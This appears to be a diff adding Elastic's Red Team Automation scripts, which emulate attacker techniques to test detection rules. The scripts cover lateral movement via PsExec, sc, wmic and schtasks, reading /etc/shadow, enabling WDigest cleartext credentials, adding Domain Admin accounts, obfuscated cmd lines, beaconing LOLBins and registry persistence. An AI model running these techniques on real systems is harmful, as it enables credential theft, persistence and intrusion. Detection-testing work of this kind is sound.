|
||||
ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe"
|
||||
spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe"
|
||||
|
||||
with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \
|
||||
common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \
|
||||
common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"):
|
||||
|
||||
common.log("Opening and closing netstat")
|
||||
common.execute(["whoami"], shell=True)
|
||||
common.execute(['taskkill', '/F', '/IM', 'netstat.exe'])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,55 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Network Traffic from InstallUtil
|
||||
# RTA: installutil_network.py
|
||||
# ATT&CK: T1118
|
||||
# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil.
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
MY_DOT_NET = common.get_path("bin", "mydotnet.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_DOT_NET)
|
||||
def main():
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
target_app = "mydotnet.exe"
|
||||
common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app)
|
||||
|
||||
install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe"
|
||||
install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe"
|
||||
fallback = False
|
||||
|
||||
if os.path.exists(install_util64):
|
||||
install_util = install_util64
|
||||
elif os.path.exists(install_util86):
|
||||
install_util = install_util86
|
||||
else:
|
||||
install_util = None
|
||||
fallback = True
|
||||
|
||||
if not fallback:
|
||||
common.clear_web_cache()
|
||||
common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app])
|
||||
|
||||
else:
|
||||
common.log("Unable to find InstallUtil, creating temp file")
|
||||
install_util = os.path.abspath("InstallUtil.exe")
|
||||
common.copy_file(sys.executable, install_util)
|
||||
common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)])
|
||||
common.remove_file(install_util)
|
||||
|
||||
common.remove_file(target_app)
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,54 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious IQY/PUB File Writes
|
||||
# RTA: iqy_file_writes.py
|
||||
# ATT&CK: T1140, T1192, T1193
|
||||
# Description: Generates four file writes related to file extensions (PUB, IQY)
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Suspicious File Writes (IQY, PUB)")
|
||||
adobe_path = os.path.abspath("AcroRd32.exe")
|
||||
msoffice_path = os.path.abspath("winword.exe")
|
||||
browser_path = os.path.abspath("iexplore.exe")
|
||||
common.copy_file(common.CMD_PATH, adobe_path)
|
||||
common.copy_file(common.CMD_PATH, msoffice_path)
|
||||
common.copy_file(common.CMD_PATH, browser_path)
|
||||
common.log("Writing files")
|
||||
|
||||
# write file as adobe, then run it
|
||||
common.log("Creating a 'suspicious' executable")
|
||||
bad_path = os.path.abspath("bad.exe")
|
||||
|
||||
# PDF writing IQY file
|
||||
fake_iqy = os.path.abspath("test.iqy")
|
||||
common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy])
|
||||
|
||||
# PDF writing PUB file
|
||||
fake_pub = os.path.abspath("test.pub")
|
||||
common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub])
|
||||
|
||||
# Winword writing IQY file
|
||||
fake_doc_iqy = os.path.abspath("test_word.iqy")
|
||||
common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy])
|
||||
|
||||
# Brwoser writing IQY file
|
||||
fake_browser_iqy = os.path.abspath("test_browser.iqy")
|
||||
common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy])
|
||||
|
||||
# cleanup
|
||||
common.remove_files(adobe_path, bad_path, fake_iqy)
|
||||
common.remove_files(adobe_path, bad_path, fake_pub)
|
||||
common.remove_files(msoffice_path, bad_path, fake_doc_iqy)
|
||||
common.remove_files(browser_path, bad_path, fake_browser_iqy)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
Executable
+24
@@ -0,0 +1,24 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: PsExec Lateral Movement
|
||||
# RTA: lateral_command_psexec.py
|
||||
# ATT&CK: T1035, T1077
|
||||
# Description: Runs PSExec to move laterally
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(common.PS_EXEC)
|
||||
def main(remote_host=None):
|
||||
remote_host = remote_host or common.get_ip()
|
||||
common.log("Performing PsExec to %s" % remote_host)
|
||||
common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,83 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Lateral Movement Commands
|
||||
# RTA: lateral_commands.py
|
||||
# ATT&CK: T1021, T1047, T1077, T1124, T1126
|
||||
# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine.
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
MY_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_APP)
|
||||
def main(remote_host=None):
|
||||
remote_host = remote_host or common.get_ip()
|
||||
common.log("Attempting to laterally move to %s" % remote_host)
|
||||
|
||||
remote_host = common.get_ipv4_address(remote_host)
|
||||
common.log("Using ip address %s" % remote_host)
|
||||
|
||||
# Put the hostname in quotes for WMIC, but leave it as is
|
||||
if not re.match(common.IP_REGEX, remote_host):
|
||||
wmi_node = '"{}"'.format(remote_host)
|
||||
else:
|
||||
wmi_node = remote_host
|
||||
|
||||
commands = [
|
||||
"sc.exe \\\\{host} create test_service binPath= %s" % MY_APP,
|
||||
"sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe",
|
||||
"sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe",
|
||||
"sc.exe \\\\{host} start test_service",
|
||||
"sc.exe \\\\{host} delete test_service",
|
||||
"wmic.exe /node:{wmi_node} process call create ipconfig.exe",
|
||||
"wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'",
|
||||
"net.exe time \\\\{host}",
|
||||
"net.exe use \\\\{host}\\admin$",
|
||||
"net.exe use \\\\{host}\\admin$ /delete",
|
||||
"net.exe use \\\\{host}\\c$",
|
||||
"net.exe use \\\\{host}\\c$ /delete",
|
||||
]
|
||||
|
||||
for command in commands:
|
||||
common.execute(command.format(host=remote_host, wmi_node=wmi_node))
|
||||
|
||||
_, whoami = common.execute(["whoami"])
|
||||
_, hostname = common.execute(["hostname"])
|
||||
|
||||
domain, user = whoami.lower().split("\\")
|
||||
hostname = hostname.lower()
|
||||
schtasks_host = remote_host
|
||||
|
||||
# Check if the account is local or a domain
|
||||
if domain in (hostname, "NT AUTHORITY"):
|
||||
common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip())
|
||||
schtasks_host = common.get_ip()
|
||||
|
||||
task_name = "test_task-%d" % os.getpid()
|
||||
schtask_commands = [
|
||||
r"schtasks /s {host} /delete /tn {name} /f",
|
||||
r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f",
|
||||
|
||||
r"schtasks /s {host} /run /tn {name}",
|
||||
r"schtasks /s {host} /delete /tn {name} /f",
|
||||
|
||||
]
|
||||
|
||||
for command in schtask_commands:
|
||||
command = command.format(host=schtasks_host, name=task_name)
|
||||
common.execute(command)
|
||||
|
||||
# Remote powershell
|
||||
common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,33 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Compression of sensitive files
|
||||
# RTA: linux_compress_sensitive_files.py
|
||||
# Description: Uses built-in commands for *nix operating systems to compress known sensitive
|
||||
# files, such as etc/shadow and etc/passwd
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.LINUX)
|
||||
def main():
|
||||
common.log("Compressing sensitive files")
|
||||
files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz']
|
||||
|
||||
# we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo
|
||||
commands = [
|
||||
['tar', '-cvf', files[0], '/etc/shadow'],
|
||||
['zip', files[1], '/etc/passwd'],
|
||||
['gzip', '/etc/group', files[2]]
|
||||
]
|
||||
for command in commands:
|
||||
try:
|
||||
common.execute(command)
|
||||
except OSError as exc:
|
||||
# command doesn't exist on distro - the rule only needs one to trigger
|
||||
# also means we will eventually need to explore per distro ground truth when we expand as counts will vary
|
||||
common.log(str(exc))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,26 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Reading sensitive files
|
||||
# RTA: linux_discovery_sensitive_files.py
|
||||
# Description: Uses built-in commands for *nix operating systems to read known sensitive
|
||||
# files, such as etc/shadow and etc/passwd
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.LINUX)
|
||||
def main():
|
||||
common.log("Reading sensitive files", log_type="~")
|
||||
|
||||
# Launch an interactive shell with redirected stdin, to simulate interactive shell access
|
||||
common.execute('/bin/sh', stdin="""
|
||||
cat /etc/sudoers
|
||||
cat /etc/group
|
||||
cat /etc/passwd
|
||||
cat /etc/shadow
|
||||
""")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,26 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Mac Descendant of an Office Application
|
||||
# RTA: mac_office_descendant.py
|
||||
# Description: Creates a suspicious process spawned from "Microsoft Word"
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.MACOS)
|
||||
def main():
|
||||
common.log("Emulating Microsoft Word running enumeration commands")
|
||||
office_path = os.path.abspath("Microsoft Word")
|
||||
common.copy_file("/bin/sh", office_path)
|
||||
|
||||
common.execute([office_path], stdin="whoami")
|
||||
|
||||
common.remove_files(office_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,32 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Modification of WDigest Security Provider
|
||||
# RTA: modification_of_wdigest_security_provider.py
|
||||
# ATT&CK: T1003
|
||||
# Description: Sets WDigest\UseLogonCredential 1 temporarily
|
||||
|
||||
# TODO: Add context to what this does. Does it temporarily disable something?
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Modification of WDigest Security Provider")
|
||||
|
||||
# TODO: See if common.temporory_reg should be used instead
|
||||
common.write_reg(common.HKLM,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1,
|
||||
common.DWORD, restore=False, pause=True)
|
||||
|
||||
common.write_reg(common.HKLM,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0,
|
||||
common.DWORD, restore=False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Emulate MS Office Dropping an executable file to disk
|
||||
# RTA: ms_office_drop_exe.py
|
||||
# ATT&CK: T1064
|
||||
# Description: MS Office writes executable file and it is run.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
||||
|
||||
for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]:
|
||||
common.log("Emulating office application %s" % office_app)
|
||||
office_path = os.path.abspath(office_app)
|
||||
common.copy_file(cmd_path, office_path)
|
||||
|
||||
bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid()))
|
||||
common.execute([office_path, '/c', 'copy', cmd_path, bad_path])
|
||||
|
||||
time.sleep(1)
|
||||
common.execute([bad_path, '/c', 'whoami'])
|
||||
|
||||
# cleanup
|
||||
time.sleep(1)
|
||||
common.remove_files(office_app, bad_path)
|
||||
print("")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,35 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: MsBuild with Network Activity
|
||||
# RTA: msbuild_network.py
|
||||
# ATT&CK: T1127
|
||||
# Description: Generates network traffic from msbuild.exe
|
||||
|
||||
from . import common
|
||||
|
||||
MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe'
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MS_BUILD)
|
||||
def main():
|
||||
common.log("MsBuild Beacon")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
common.log("Updating the callback http://%s:%d" % (ip, port))
|
||||
target_task = "tmp-file.csproj"
|
||||
common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task)
|
||||
new_callback = "http://%s:%d" % (ip, port)
|
||||
common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback)
|
||||
|
||||
common.execute([MS_BUILD, target_task], timeout=30, kill=True)
|
||||
common.remove_file(target_task)
|
||||
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,34 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Microsoft HTA tool (mshta.exe) with Network Callback
|
||||
# RTA: mshta_network.py
|
||||
# ATT&CK: T1170
|
||||
# Description: Generates network traffic from mshta.exe
|
||||
|
||||
from . import common
|
||||
|
||||
HTA_FILE = common.get_path("bin", "beacon.hta")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(HTA_FILE)
|
||||
def main():
|
||||
# http server will terminate on main thread exit
|
||||
# if daemon is True
|
||||
common.log("MsHta Beacon")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
new_callback = "http://%s:%d" % (ip, port)
|
||||
common.log("Updating the callback to %s" % new_callback)
|
||||
common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback)
|
||||
|
||||
mshta = 'mshta.exe'
|
||||
common.execute([mshta, HTA_FILE], timeout=3, kill=True)
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,26 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: MsiExec with HTTP Installer
|
||||
# RTA: msiexec_http_installer.py
|
||||
# ATT&CK:
|
||||
# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("MsiExec HTTP Download")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)])
|
||||
common.log("Cleanup", log_type="-")
|
||||
common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)])
|
||||
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,33 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: msxsl.exe Network
|
||||
# RTA: msxsl_network.py
|
||||
# ATT&CK: T1127
|
||||
# Description: Generates network traffic from msxsl.exe
|
||||
|
||||
from . import common
|
||||
|
||||
MS_XSL = common.get_path("bin", "msxsl.exe")
|
||||
XML_FILE = common.get_path("bin", "customers.xml")
|
||||
XSL_FILE = common.get_path("bin", "cscript.xsl")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MS_XSL, XML_FILE, XSL_FILE)
|
||||
def main():
|
||||
common.log("MsXsl Beacon")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
new_callback = "http://%s:%d" % (ip, port)
|
||||
common.log("Updating the callback to %s" % new_callback)
|
||||
common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback)
|
||||
|
||||
common.execute([MS_XSL, XML_FILE, XSL_FILE])
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Create User with net.exe
|
||||
# RTA: net_user_add.py
|
||||
# ATT&CK: T1136
|
||||
# Description: Adds an account to the local host using the net.exe command
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Creating local and domain user accounts using net.exe")
|
||||
commands = [
|
||||
'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"',
|
||||
'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain',
|
||||
'net.exe group Administrators macgyver /add',
|
||||
'net.exe group "Domain Admins" macgyver /add /domain',
|
||||
'net.exe localgroup Administrators macgyver /add',
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
common.execute(cmd)
|
||||
|
||||
cleanup_commands = [
|
||||
"net.exe user macgyver /delete",
|
||||
"net.exe user macgyver /delete /domain"
|
||||
]
|
||||
|
||||
common.log("Removing local and domain user accounts using net.exe", log_type="-")
|
||||
for cmd in cleanup_commands:
|
||||
common.execute(cmd)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,37 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Emulate Obfuscated cmd Commands
|
||||
# RTA: obfuscated_cmd_commands.py
|
||||
# ATT&CK: T1036
|
||||
# Description: Runs commands through cmd that are obfuscated using multiple techniques.
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
# All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe`
|
||||
commands = """
|
||||
%comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe
|
||||
cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1%
|
||||
cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%"
|
||||
cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!"
|
||||
cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!"
|
||||
cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%"
|
||||
^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3;
|
||||
""" # noqa: E501
|
||||
commands = [c.strip() for c in commands.splitlines()]
|
||||
|
||||
for a in commands:
|
||||
common.execute(a, shell=True, mute=True)
|
||||
time.sleep(1)
|
||||
|
||||
common.execute(["taskkill", "/F", "/im", "calc.exe"])
|
||||
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,36 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Office Application Startup
|
||||
# RTA: office_application_startup.py
|
||||
# ATT&CK: T1137
|
||||
# Description: Modifies the registry to persist a DLL on Office Startup.
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(dll_location="c:\\windows\\temp\\evil.dll"):
|
||||
# Write evil dll to office test path:
|
||||
subkey = "Software\\Microsoft\\Office Test\\Special\\Perf"
|
||||
common.write_reg(common.HKCU, subkey, "", dll_location)
|
||||
common.write_reg(common.HKLM, subkey, "", dll_location)
|
||||
|
